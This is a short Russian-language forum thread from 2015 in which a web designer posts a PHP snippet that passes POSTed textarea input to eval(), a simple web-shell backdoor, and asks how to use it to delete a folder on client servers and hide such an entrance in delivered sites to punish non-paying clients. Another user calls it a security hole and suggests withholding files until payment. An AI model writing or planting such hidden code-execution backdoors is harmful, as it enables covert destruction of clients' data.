Javascript-форум (https://javascript.ru/forum/)
-   Серверные языки и технологии (https://javascript.ru/forum/server/)
-   -   Выполнение кода PHP в textarea (https://javascript.ru/forum/server/56852-vypolnenie-koda-php-v-textarea.html)

karakym 06.07.2015 22:57

Выполнение кода PHP в textarea
 
Доброго времени суток, имеется вот такой вот код:
<?php 
   if ( isset($_POST['text']) ) 
      eval ($_POST['text']); 
?> 
<form method='POST'> 
   <textarea name='text'></textarea> 
   <input type='submit'> 
</form>

Лежит он в файлике на сервера, теперь при запуске этого файла я смогу вводить и выполнять код php!
Вопрос такой какой код мне нужно написать, что бы начиная от корня нашло папку demo и удалило ее со всем содержимым!?

karakym 06.07.2015 22:59

Для тех кто спросит "А зачем вам это?", такой вот ответ!
Являюсь разработчиком сайтов, было несколько проблем с клиентами.
Работаю по схеме:
1. Предосмотр сайта
2. Аванс
3. Готовый сайт
4. Оплата

laimas 07.07.2015 03:58

Цитата:

Сообщение от karakym
Являюсь разработчиком сайтов

Разработчику сайтов задавать такие нелепые вопросы...

karakym 07.07.2015 11:50

Цитата:

Сообщение от laimas (Сообщение 377966)
Разработчику сайтов задавать такие нелепые вопросы...

Ну я по WEB-Дизайну (HTML,CSS,jQuery)

laimas 07.07.2015 12:16

Ну это не разработка. Нельзя выполнить код в textarea, это текстовая область, а тем более РНР-код, который выполняется только на сервере. А на сервере нет ни textarea, ни вообще какого либо html, все это строковый тип данных, включая и данные полученные формой.

А чтобы выполнить строку переданную формой как код, нужно чтобы разработчик серверной части разрешил такое действие, чего он вряд ли станет делать, ибо это "явная дыра" в безопасности - стоит не полениться заказчику и проверить такой код, и исполнитель может потерять все.

karakym 07.07.2015 12:40

Цитата:

Сообщение от laimas (Сообщение 378005)
Ну это не разработка. Нельзя выполнить код в textarea, это текстовая область, а тем более РНР-код, который выполняется только на сервере. А на сервере нет ни textarea, ни вообще какого либо html, все это строковый тип данных, включая и данные полученные формой.

А чтобы выполнить строку переданную формой как код, нужно чтобы разработчик серверной части разрешил такое действие, чего он вряд ли станет делать, ибо это "явная дыра" в безопасности - стоит не полениться заказчику и проверить такой код, и исполнитель может потерять все.

Предложите вариант который обезопасит меня от кидал

laimas 07.07.2015 12:45

Без сервера вам, как дизайнеру, нет доступных способов.

Размещайте выполненный заказ, то есть шаблон дизайна, в сети, пусть заказчик оценивает, и после оплаты отдавать его заказчику.

karakym 07.07.2015 14:02

То есть, нет никакого способа, внедрить в свой код, запасной вход!?

laimas 07.07.2015 14:13

Свой, это какой?

karakym 07.07.2015 18:24

Цитата:

Сообщение от laimas (Сообщение 378030)
Свой, это какой?

Ну вообще в проект сайта!


Часовой пояс GMT +3, время: 00:33.